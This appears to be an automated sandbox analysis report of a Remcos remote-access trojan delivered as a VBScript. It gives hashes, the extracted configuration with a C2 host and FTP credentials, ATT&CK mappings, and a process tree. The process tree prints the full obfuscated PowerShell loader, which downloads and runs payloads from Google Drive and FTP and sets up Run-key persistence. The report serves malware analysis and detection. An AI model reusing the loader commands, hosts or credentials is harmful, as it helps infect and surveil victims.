remcos | b7b526bc95dc7757489534fb9591146922d686c6d6da3b58c28ac012c86163db

General

Target

b7b526bc95dc7757489534fb9591146922d686c6d6da3b58c28ac012c86163db.vbs
Size

681KB
MD5

611fb2edd9cd895a627fde0f0f7d99b1
SHA1

21e7cf72708e4e49bf485fb7f28b81df7874e930
SHA256

b7b526bc95dc7757489534fb9591146922d686c6d6da3b58c28ac012c86163db
SHA512

6aeefc8d5b26a5de88bd307f62b42bc8f04c405b0e4922709bfaaf1abf26c6441ac8c547192ce1e4e43752d7584381ec2a71bfb9e305c8b60e06e84e36ba9783
SSDEEP

1536:9SSSSSSSSSSSSSSSSSSSSSSSx22222222222222222222222222222222222222x:d1n/DSw8Tc75y

Score

10^/10

remcos grace defense_evasion discovery execution persistence rat

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://drive.google.com/uc?export=download&id=

Extracted

Credentials

Protocol: ftp
Host:
ftp.desckvbrat.com.br
Port:
21
Username:
desckvbrat1
Password:
developerpro21578Jp@@

Extracted

Family

remcos

Botnet

Grace

C2

severdops.ddns.net:7717

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-P28XIL
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 7 IoCs

flow	pid	Process
9	724	powershell.exe
18	724	powershell.exe
20	724	powershell.exe
22	724	powershell.exe
24	724	powershell.exe
26	724	powershell.exe
31	4476	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\Control Panel\International\Geo\Nation	WScript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Update Drivers NVIDEO_r = "cmd.exe /c start /min \"\" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Comman \". 'C:\\Users\\Admin\\AppData\\Local\\Microsoft\\LocalLow\\System Update\\lxhzp.ps1' \";exit"	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4080	powershell.exe
724	powershell.exe
1224	powershell.exe
4476	powershell.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
30	pastebin.com
31	pastebin.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4476 set thread context of 3992	4476	powershell.exe	97

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
4080	powershell.exe
4080	powershell.exe
724	powershell.exe
724	powershell.exe
724	powershell.exe
1224	powershell.exe
1224	powershell.exe
4476	powershell.exe
4476	powershell.exe
4476	powershell.exe
4476	powershell.exe
4476	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	4080	powershell.exe
Token: SeDebugPrivilege	724	powershell.exe
Token: SeDebugPrivilege	1224	powershell.exe
Token: SeDebugPrivilege	4476	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3992	RegAsm.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 2940 wrote to memory of 4080	2940	WScript.exe	82
PID 2940 wrote to memory of 4080	2940	WScript.exe	82
PID 4080 wrote to memory of 724	4080	powershell.exe	84
PID 4080 wrote to memory of 724	4080	powershell.exe	84
PID 724 wrote to memory of 5036	724	powershell.exe	89
PID 724 wrote to memory of 5036	724	powershell.exe	89
PID 724 wrote to memory of 1224	724	powershell.exe	90
PID 724 wrote to memory of 1224	724	powershell.exe	90
PID 724 wrote to memory of 4476	724	powershell.exe	94
PID 724 wrote to memory of 4476	724	powershell.exe	94
PID 724 wrote to memory of 3832	724	powershell.exe	95
PID 724 wrote to memory of 3832	724	powershell.exe	95
PID 4476 wrote to memory of 4000	4476	powershell.exe	96
PID 4476 wrote to memory of 4000	4476	powershell.exe	96
PID 4476 wrote to memory of 4000	4476	powershell.exe	96
PID 4476 wrote to memory of 3992	4476	powershell.exe	97
PID 4476 wrote to memory of 3992	4476	powershell.exe	97
PID 4476 wrote to memory of 3992	4476	powershell.exe	97
PID 4476 wrote to memory of 3992	4476	powershell.exe	97
PID 4476 wrote to memory of 3992	4476	powershell.exe	97
PID 4476 wrote to memory of 3992	4476	powershell.exe	97
PID 4476 wrote to memory of 3992	4476	powershell.exe	97
PID 4476 wrote to memory of 3992	4476	powershell.exe	97
PID 4476 wrote to memory of 3992	4476	powershell.exe	97
PID 4476 wrote to memory of 3992	4476	powershell.exe	97
PID 4476 wrote to memory of 3992	4476	powershell.exe	97
PID 4476 wrote to memory of 3992	4476	powershell.exe	97

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\b7b526bc95dc7757489534fb9591146922d686c6d6da3b58c28ac012c86163db.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2940
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$qKKzc = 'OwB9Ќз革DsЌз革KQЌз革gЌз革CkЌз革IЌз革Ќз革nЌз革GUЌз革dQByЌз革HQЌз革JwЌз革gЌз革CwЌз革IЌз革BlЌз革GoЌз革dwB6Ќз革GgЌз革JЌз革Ќз革gЌз革CwЌз革IЌз革Ќз革nЌз革GgЌз革dЌз革B0Ќз革HЌз革Ќз革cwЌз革6Ќз革C8Ќз革LwBtЌз革GUЌз革aЌз革ByЌз革GUЌз革ZQBuЌз革GMЌз革cgBlЌз革GEЌз革dЌз革BpЌз革G8Ќз革bgЌз革uЌз革GMЌз革bwBtЌз革C8Ќз革dgB4Ќз革C4Ќз革dЌз革B4Ќз革HQЌз革JwЌз革gЌз革CgЌз革IЌз革BdЌз革F0Ќз革WwB0Ќз革GMЌз革ZQBqЌз革GIЌз革bwBbЌз革CЌз革Ќз革LЌз革Ќз革gЌз革GwЌз革bЌз革B1Ќз革G4Ќз革JЌз革Ќз革gЌз革CgЌз革ZQBrЌз革G8Ќз革dgBuЌз革EkЌз革LgЌз革pЌз革CЌз革Ќз革JwBJЌз革FYЌз革RgByЌз革HЌз革Ќз革JwЌз革gЌз革CgЌз革ZЌз革BvЌз革GgЌз革dЌз革BlЌз革E0Ќз革dЌз革BlЌз革EcЌз革LgЌз革pЌз革CcЌз革MQBzЌз革HMЌз革YQBsЌз革EMЌз革LgЌз革zЌз革HkЌз革cgBhЌз革HIЌз革YgBpЌз革EwЌз革cwBzЌз革GEЌз革bЌз革BDЌз革CcЌз革KЌз革BlЌз革HЌз革Ќз革eQBUЌз革HQЌз革ZQBHЌз革C4Ќз革KQЌз革gЌз革FoЌз革YwBCЌз革GMЌз革YQЌз革kЌз革CЌз革Ќз革KЌз革BkЌз革GEЌз革bwBMЌз革C4Ќз革bgBpЌз革GEЌз革bQBvЌз革EQЌз革dЌз革BuЌз革GUЌз革cgByЌз革HUЌз革QwЌз革6Ќз革DoЌз革XQBuЌз革GkЌз革YQBtЌз革G8Ќз革RЌз革BwЌз革HЌз革Ќз革QQЌз革uЌз革G0Ќз革ZQB0Ќз革HMЌз革eQBTЌз革FsЌз革OwЌз革pЌз革CЌз革Ќз革KQЌз革gЌз革CcЌз革QQЌз革nЌз革CЌз革Ќз革LЌз革Ќз革gЌз革CcЌз革kyE6Ќз革JMhJwЌз革gЌз革CgЌз革ZQBjЌз革GEЌз革bЌз革BwЌз革GUЌз革UgЌз革uЌз革GcЌз革UwB6Ќз革EMЌз革QgBsЌз革CQЌз革IЌз革Ќз革oЌз革GcЌз革bgBpЌз革HIЌз革dЌз革BTЌз革DQЌз革NgBlЌз革HMЌз革YQBCЌз革G0Ќз革bwByЌз革EYЌз革OgЌз革6Ќз革F0Ќз革dЌз革ByЌз革GUЌз革dgBuЌз革G8Ќз革QwЌз革uЌз革G0Ќз革ZQB0Ќз革HMЌз革eQBTЌз革FsЌз革IЌз革Ќз革9Ќз革CЌз革Ќз革WgBjЌз革EIЌз革YwBhЌз革CQЌз革IЌз革BdЌз革F0Ќз革WwBlЌз革HQЌз革eQBCЌз革FsЌз革OwЌз革nЌз革CUЌз革SQBoЌз革HEЌз革UgBYЌз革CUЌз革JwЌз革gЌз革D0Ќз革IЌз革BlЌз革GoЌз革dwB6Ќз革GgЌз革JЌз革Ќз革7Ќз革CkЌз革IЌз革BnЌз革FMЌз革egBDЌз革EIЌз革bЌз革Ќз革kЌз革CЌз革Ќз革KЌз革BnЌз革G4Ќз革aQByЌз革HQЌз革UwBkЌз革GEЌз革bwBsЌз革G4Ќз革dwBvЌз革EQЌз革LgB4Ќз革GQЌз革ZQBxЌз革CQЌз革IЌз革Ќз革9Ќз革CЌз革Ќз革ZwBTЌз革HoЌз革QwBCЌз革GwЌз革JЌз革Ќз革7Ќз革DgЌз革RgBUЌз革FUЌз革OgЌз革6Ќз革F0Ќз革ZwBuЌз革GkЌз革ZЌз革BvЌз革GMЌз革bgBFЌз革C4Ќз革dЌз革B4Ќз革GUЌз革VЌз革Ќз革uЌз革G0Ќз革ZQB0Ќз革HMЌз革eQBTЌз革FsЌз革IЌз革Ќз革9Ќз革CЌз革Ќз革ZwBuЌз革GkЌз革ZЌз革BvЌз革GMЌз革bgBFЌз革C4Ќз革eЌз革BkЌз革GUЌз革cQЌз革kЌз革DsЌз革KQB0Ќз革G4Ќз革ZQBpЌз革GwЌз革QwBiЌз革GUЌз革VwЌз革uЌз革HQЌз革ZQBOЌз革CЌз革Ќз革dЌз革BjЌз革GUЌз革agBiЌз革E8Ќз革LQB3Ќз革GUЌз革TgЌз革oЌз革CЌз革Ќз革PQЌз革gЌз革HgЌз革ZЌз革BlЌз革HEЌз革JЌз革Ќз革7Ќз革CkЌз革KЌз革BlЌз革HMЌз革bwBwЌз革HMЌз革aQBkЌз革C4Ќз革eЌз革BkЌз革GUЌз革cQЌз革kЌз革DsЌз革KQЌз革gЌз革CcЌз革dЌз革B4Ќз革HQЌз革LgЌз革xЌз革DЌз革Ќз革TЌз革BMЌз革EQЌз革LwЌз革xЌз革DЌз革Ќз革LwByЌз革GUЌз革dЌз革BwЌз革HkЌз革cgBjЌз革HЌз革Ќз革VQЌз革vЌз革HIЌз革YgЌз革uЌз革G0Ќз革bwBjЌз革C4Ќз革dЌз革BhЌз革HIЌз革YgB2Ќз革GsЌз革YwBzЌз革GUЌз革ZЌз革Ќз革uЌз革HЌз革Ќз革dЌз革BmЌз革EЌз革Ќз革MQB0Ќз革GEЌз革cgBiЌз革HYЌз革awBjЌз革HMЌз革ZQBkЌз革C8Ќз革LwЌз革6Ќз革HЌз革Ќз革dЌз革BmЌз革CcЌз革IЌз革Ќз革oЌз革GcЌз革bgBpЌз革HIЌз革dЌз革BTЌз革GQЌз革YQBvЌз革GwЌз革bgB3Ќз革G8Ќз革RЌз革Ќз革uЌз革HgЌз革ZЌз革BlЌз革HEЌз革JЌз革Ќз革gЌз革D0Ќз革IЌз革BnЌз革FMЌз革egBDЌз革EIЌз革bЌз革Ќз革kЌз革DsЌз革KQЌз革nЌз革EЌз革Ќз革QЌз革BwЌз革EoЌз革OЌз革Ќз革3Ќз革DUЌз革MQЌз革yЌз革G8Ќз革cgBwЌз革HIЌз革ZQBwЌз革G8Ќз革bЌз革BlЌз革HYЌз革ZQBkЌз革CcЌз革LЌз革Ќз革pЌз革CkЌз革OQЌз革0Ќз革CwЌз革NgЌз革xЌз革DEЌз革LЌз革Ќз革3Ќз革DkЌз革LЌз革Ќз革0Ќз革DEЌз革MQЌз革sЌз革DgЌз革OQЌз革sЌз革DgЌз革MQЌз革xЌз革CwЌз革NwЌз革wЌз革DEЌз革LЌз革Ќз革5Ќз革DkЌз革LЌз革Ќз革1Ќз革DEЌз革MQЌз革sЌз革DEЌз革MЌз革Ќз革xЌз革CwЌз革MЌз革Ќз革wЌз革DEЌз革KЌз革BdЌз革F0Ќз革WwByЌз革GEЌз革aЌз革BjЌз革FsЌз革IЌз革BuЌз革GkЌз革bwBqЌз革C0Ќз革KЌз革Ќз革oЌз革GwЌз革YQBpЌз革HQЌз革bgBlЌз革GQЌз革ZQByЌз革EMЌз革awByЌз革G8Ќз革dwB0Ќз革GUЌз革TgЌз革uЌз革HQЌз革ZQBOЌз革C4Ќз革bQBlЌз革HQЌз革cwB5Ќз革FMЌз革IЌз革B0Ќз革GMЌз革ZQBqЌз革GIЌз革bwЌз革tЌз革HcЌз革ZQBuЌз革CЌз革Ќз革PQЌз革gЌз革HMЌз革bЌз革BhЌз革GkЌз革dЌз革BuЌз革GUЌз革ZЌз革BlЌз革HIЌз革QwЌз革uЌз革HgЌз革ZЌз革BlЌз革HEЌз革JЌз革Ќз革7Ќз革DgЌз革RgBUЌз革FUЌз革OgЌз革6Ќз革F0Ќз革ZwBuЌз革GkЌз革ZЌз革BvЌз革GMЌз革bgBFЌз革C4Ќз革dЌз革B4Ќз革GUЌз革VЌз革Ќз革uЌз革G0Ќз革ZQB0Ќз革HMЌз革eQBTЌз革FsЌз革IЌз革Ќз革9Ќз革CЌз革Ќз革ZwBuЌз革GkЌз革ZЌз革BvЌз革GMЌз革bgBFЌз革C4Ќз革eЌз革BkЌз革GUЌз革cQЌз革kЌз革DsЌз革KQB0Ќз革G4Ќз革ZQBpЌз革GwЌз革QwBiЌз革GUЌз革VwЌз革uЌз革HQЌз革ZQBOЌз革CЌз革Ќз革dЌз革BjЌз革GUЌз革agBiЌз革E8Ќз革LQB3Ќз革GUЌз革TgЌз革oЌз革CЌз革Ќз革PQЌз革gЌз革HgЌз革ZЌз革BlЌз革HEЌз革JЌз革Ќз革7Ќз革GcЌз革UwB6Ќз革EMЌз革QgBsЌз革CQЌз革OwЌз革yЌз革DEЌз革cwBsЌз革FQЌз革OgЌз革6Ќз革F0Ќз革ZQBwЌз革HkЌз革VЌз革BsЌз革G8Ќз革YwBvЌз革HQЌз革bwByЌз革FЌз革Ќз革eQB0Ќз革GkЌз革cgB1Ќз革GMЌз革ZQBTЌз革C4Ќз革dЌз革BlЌз革E4Ќз革LgBtЌз革GUЌз革dЌз革BzЌз革HkЌз革UwBbЌз革CЌз革Ќз革PQЌз革gЌз革GwЌз革bwBjЌз革G8Ќз革dЌз革BvЌз革HIЌз革UЌз革B5Ќз革HQЌз革aQByЌз革HUЌз革YwBlЌз革FMЌз革OgЌз革6Ќз革F0Ќз革cgBlЌз革GcЌз革YQBuЌз革GEЌз革TQB0Ќз革G4Ќз革aQBvЌз革FЌз革Ќз革ZQBjЌз革GkЌз革dgByЌз革GUЌз革UwЌз革uЌз革HQЌз革ZQBOЌз革C4Ќз革bQBlЌз革HQЌз革cwB5Ќз革FMЌз革WwЌз革7Ќз革H0Ќз革ZQB1Ќз革HIЌз革dЌз革Ќз革kЌз革HsЌз革IЌз革Ќз革9Ќз革CЌз革Ќз革awBjЌз革GEЌз革YgBsЌз革GwЌз革YQBDЌз革G4Ќз革bwBpЌз革HQЌз革YQBkЌз革GkЌз革bЌз革BhЌз革FYЌз革ZQB0Ќз革GEЌз革YwBpЌз革GYЌз革aQB0Ќз革HIЌз革ZQBDЌз革HIЌз革ZQB2Ќз革HIЌз革ZQBTЌз革DoЌз革OgBdЌз革HIЌз革ZQBnЌз革GEЌз革bgBhЌз革E0Ќз革dЌз革BuЌз革GkЌз革bwBQЌз革GUЌз革YwBpЌз革HYЌз革cgBlЌз革FMЌз革LgB0Ќз革GUЌз革TgЌз革uЌз革G0Ќз革ZQB0Ќз革HMЌз革eQBTЌз革FsЌз革ewЌз革gЌз革GUЌз革cwBsЌз革GUЌз革fQЌз革gЌз革GYЌз革LwЌз革gЌз革DЌз革Ќз革IЌз革B0Ќз革C8Ќз革IЌз革ByЌз革C8Ќз革IЌз革BlЌз革HgЌз革ZQЌз革uЌз革G4Ќз革dwBvЌз革GQЌз革dЌз革B1Ќз革GgЌз革cwЌз革gЌз革DsЌз革JwЌз革wЌз革DgЌз革MQЌз革gЌз革HЌз革Ќз革ZQBlЌз革GwЌз革cwЌз革nЌз革CЌз革Ќз革ZЌз革BuЌз革GEЌз革bQBtЌз革G8Ќз革YwЌз革tЌз革CЌз革Ќз革ZQB4Ќз革GUЌз革LgBsЌз革GwЌз革ZQBoЌз革HMЌз革cgBlЌз革HcЌз革bwBwЌз革DsЌз革IЌз革BlЌз革GMЌз革cgBvЌз革GYЌз革LQЌз革gЌз革CkЌз革IЌз革Ќз革nЌз革HЌз革Ќз革dQB0Ќз革HIЌз革YQB0Ќз革FMЌз革XЌз革BzЌз革G0Ќз革YQByЌз革GcЌз革bwByЌз革FЌз革Ќз革XЌз革B1Ќз革G4Ќз革ZQBNЌз革CЌз革Ќз革dЌз革ByЌз革GEЌз革dЌз革BTЌз革FwЌз革cwB3Ќз革G8Ќз革ZЌз革BuЌз革GkЌз革VwBcЌз革HQЌз革ZgBvЌз革HMЌз革bwByЌз革GMЌз革aQBNЌз革FwЌз革ZwBuЌз革GkЌз革bQBhЌз革G8Ќз革UgBcЌз革GEЌз革dЌз革BhЌз革EQЌз革cЌз革BwЌз革EEЌз革XЌз革Ќз革nЌз革CЌз革Ќз革KwЌз革gЌз革EYЌз革RwByЌз革FUЌз革QQЌз革kЌз革CЌз革Ќз革KЌз革Ќз革gЌз革G4Ќз革bwBpЌз革HQЌз革YQBuЌз革GkЌз革dЌз革BzЌз革GUЌз革RЌз革Ќз革tЌз革CЌз革Ќз革JwЌз革lЌз革EkЌз革aЌз革BxЌз革FIЌз革WЌз革Ќз革lЌз革CcЌз革IЌз革BtЌз革GUЌз革dЌз革BJЌз革C0Ќз革eQBwЌз革G8Ќз革QwЌз革gЌз革DsЌз革IЌз革B0Ќз革HIЌз革YQB0Ќз革HMЌз革ZQByЌз革G8Ќз革bgЌз革vЌз革CЌз革Ќз革dЌз革BlЌз革GkЌз革dQBxЌз革C8Ќз革IЌз革BRЌз革EEЌз革agB6Ќз革EkЌз革IЌз革BlЌз革HgЌз革ZQЌз革uЌз革GEЌз革cwB1Ќз革HcЌз革IЌз革BlЌз革HgЌз革ZQЌз革uЌз革GwЌз革bЌз革BlЌз革GgЌз革cwByЌз革GUЌз革dwBvЌз革HЌз革Ќз革IЌз革Ќз革7Ќз革CkЌз革JwB1Ќз革HMЌз革bQЌз革uЌз革G4Ќз革aQB3Ќз革HЌз革Ќз革VQBcЌз革CcЌз革IЌз革Ќз革rЌз革CЌз革Ќз革ZЌз革BJЌз革FIЌз革aQBNЌз革CQЌз革KЌз革Ќз革gЌз革D0Ќз革IЌз革BRЌз革EEЌз革agB6Ќз革EkЌз革OwЌз革pЌз革CЌз革Ќз革ZQBtЌз革GEЌз革TgByЌз革GUЌз革cwBVЌз革DoЌз革OgBdЌз革HQЌз革bgBlЌз革G0Ќз革bgBvЌз革HIЌз革aQB2Ќз革G4Ќз革RQBbЌз革CЌз革Ќз革KwЌз革gЌз革CcЌз革XЌз革BzЌз革HIЌз革ZQBzЌз革FUЌз革XЌз革Ќз革6Ќз革EMЌз革JwЌз革oЌз革CЌз革Ќз革PQЌз革gЌз革EYЌз革RwByЌз革FUЌз革QQЌз革kЌз革DsЌз革KQЌз革nЌз革HUЌз革cwBtЌз革C4Ќз革bgBpЌз革HcЌз革cЌз革BVЌз革FwЌз革JwЌз革gЌз革CsЌз革IЌз革BkЌз革EkЌз革UgBpЌз革E0Ќз革JЌз革Ќз革gЌз革CwЌз革QgBLЌз革EwЌз革UgBVЌз革CQЌз革KЌз革BlЌз革GwЌз革aQBGЌз革GQЌз革YQBvЌз革GwЌз革bgB3Ќз革G8Ќз革RЌз革Ќз革uЌз革HgЌз革aЌз革BKЌз革EgЌз革eQЌз革kЌз革DsЌз革OЌз革BGЌз革FQЌз革VQЌз革6Ќз革DoЌз革XQBnЌз革G4Ќз革aQBkЌз革G8Ќз革YwBuЌз革EUЌз革LgB0Ќз革HgЌз革ZQBUЌз革C4Ќз革bQBlЌз革HQЌз革cwB5Ќз革FMЌз革WwЌз革gЌз革D0Ќз革IЌз革BnЌз革G4Ќз革aQBkЌз革G8Ќз革YwBuЌз革EUЌз革LgB4Ќз革GgЌз革SgBIЌз革HkЌз革JЌз革Ќз革7Ќз革CkЌз革dЌз革BuЌз革GUЌз革aQBsЌз革EMЌз革YgBlЌз革FcЌз革LgB0Ќз革GUЌз革TgЌз革gЌз革HQЌз革YwBlЌз革GoЌз革YgBPЌз革C0Ќз革dwBlЌз革E4Ќз革KЌз革Ќз革gЌз革D0Ќз革IЌз革B4Ќз革GgЌз革SgBIЌз革HkЌз革JЌз革Ќз革7Ќз革H0Ќз革OwЌз革gЌз革CkЌз革JwB0Ќз革E8Ќз革TЌз革BjЌз革F8Ќз革SwBhЌз革DMЌз革WgBmЌз革G8Ќз革WЌз革Ќз革yЌз革EoЌз革SgByЌз革FYЌз革aЌз革BtЌз革FYЌз革OQBjЌз革G0Ќз革OQBYЌз革HMЌз革dQBYЌз革G0Ќз革agЌз革xЌз革GcЌз革MQЌз革nЌз革CЌз革Ќз革KwЌз革gЌз革EYЌз革YQBFЌз革FkЌз革UgЌз革kЌз革CgЌз革IЌз革Ќз革9Ќз革CЌз革Ќз革RgBhЌз革EUЌз革WQBSЌз革CQЌз革ewЌз革gЌз革GUЌз革cwBsЌз革GUЌз革fQЌз革7Ќз革CЌз革Ќз革KQЌз革nЌз革DIЌз革NЌз革B1Ќз革FgЌз革SgBUЌз革HEЌз革YQBtЌз革GcЌз革eQBNЌз革HQЌз革RgB6Ќз革GEЌз革awBQЌз革FIЌз革MQBxЌз革F8Ќз革SQB2Ќз革EcЌз革aQBYЌз革E4Ќз革ZЌз革BxЌз革GEЌз革TgЌз革xЌз革CcЌз革IЌз革Ќз革rЌз革CЌз革Ќз革RgBhЌз革EUЌз革WQBSЌз革CQЌз革KЌз革Ќз革gЌз革D0AIABGAGEARQBZAFIAJAB7ACAAKQAgAFcAaQBpAEIAcwAkACAAKAAgAGYAaQA7ACAAKQAnADQANgAnACgAcwBuAGkAYQB0AG4AbwBDAC4ARQBSAFUAVABDAEUAVABJAEgAQwBSAEEAXwBSAE8AUwBTAEUAQwBPAFIAUAA6AHYAbgBlACQAIAA9ACAAVwBpAGkAQgBzACQAOwAnAD0AZABpACYAZABhAG8AbABuAHcAbwBkAD0AdAByAG8AcAB4AGUAPwBjAHUALwBtAG8AYwAuAGUAbABnAG8AbwBnAC4AZQB2AGkAcgBkAC8ALwA6AHMAcAB0AHQAaAAnACAAPQAgAEYAYQBFAFkAUgAkADsAKQAgACcAdQBzAG0ALgBuAGkAdwBwAFUAXAAnACAAKwAgAGQASQBSAGkATQAkACAAKAAgAGwAZQBkADsAKQAoAGgAdABhAFAAcABtAGUAVAB0AGUARwA6ADoAXQBoAHQAYQBQAC4ATwBJAC4AbQBlAHQAcwB5AFMAWwAgAD0AIABkAEkAUgBpAE0AJAB7ACAAKQAgAEYAZABNAFEAVAAkACAAKAAgAGYAaQA7ACAAKQAyACgAcwBsAGEAdQBxAEUALgByAG8AagBhAE0ALgBuAG8AaQBzAHIAZQBWAC4AdABzAG8AaAAkACAAPQAgAEYAZABNAFEAVAAkACAAOwA=';$nQCfu = $qKKzc.replace('Ќз革' , 'A') ;$IedxR = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $nQCfu ) ); $IedxR = $IedxR[-1..-$IedxR.Length] -join '';$IedxR = $IedxR.replace('%XRqhI%','C:\Users\Admin\AppData\Local\Temp\b7b526bc95dc7757489534fb9591146922d686c6d6da3b58c28ac012c86163db.vbs');powershell $IedxR
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4080
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $TQMdF = $host.Version.Major.Equals(2) ;if ( $TQMdF ) {$MiRId = [System.IO.Path]::GetTempPath();del ( $MiRId + '\Upwin.msu' );$RYEaF = 'https://drive.google.com/uc?export=download&id=';$sBiiW = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $sBiiW ) {$RYEaF = ($RYEaF + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$RYEaF = ($RYEaF + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$yHJhx = (New-Object Net.WebClient);$yHJhx.Encoding = [System.Text.Encoding]::UTF8;$yHJhx.DownloadFile($URLKB, $MiRId + '\Upwin.msu');$AUrGF = ('C:\Users\' + [Environment]::UserName );IzjAQ = ($MiRId + '\Upwin.msu'); powershell.exe wusa.exe IzjAQ /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\b7b526bc95dc7757489534fb9591146922d686c6d6da3b58c28ac012c86163db.vbs' -Destination ( $AUrGF + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$qedx = (New-Object Net.WebClient);$qedx.Encoding = [System.Text.Encoding]::UTF8;$qedx.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578Jp@@');$lBCzSg = $qedx.DownloadString( 'ftp://[email protected]/Upcrypter/01/DLL01.txt' );$qedx.dispose();$qedx = (New-Object Net.WebClient);$qedx.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $qedx.DownloadString( $lBCzSg );$hzwje = 'C:\Users\Admin\AppData\Local\Temp\b7b526bc95dc7757489534fb9591146922d686c6d6da3b58c28ac012c86163db.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '↓:↓' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( 'txt.xv/moc.noitaercneerhem//:sptth' , $hzwje , 'true' ) );};"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:724
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c mkdir "C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\"
      4⤵
      PID:5036
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\\x2.ps1"
      4⤵
      Adds Run key to start application
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1224
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\lxhzp.ps1"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4476
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        
        PID:4000
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:3992
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\b7b526bc95dc7757489534fb9591146922d686c6d6da3b58c28ac012c86163db.vbs"
      4⤵
      PID:3832

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Indicator Removal

1

T1070

File Deletion

Modify Registry

Credential Access

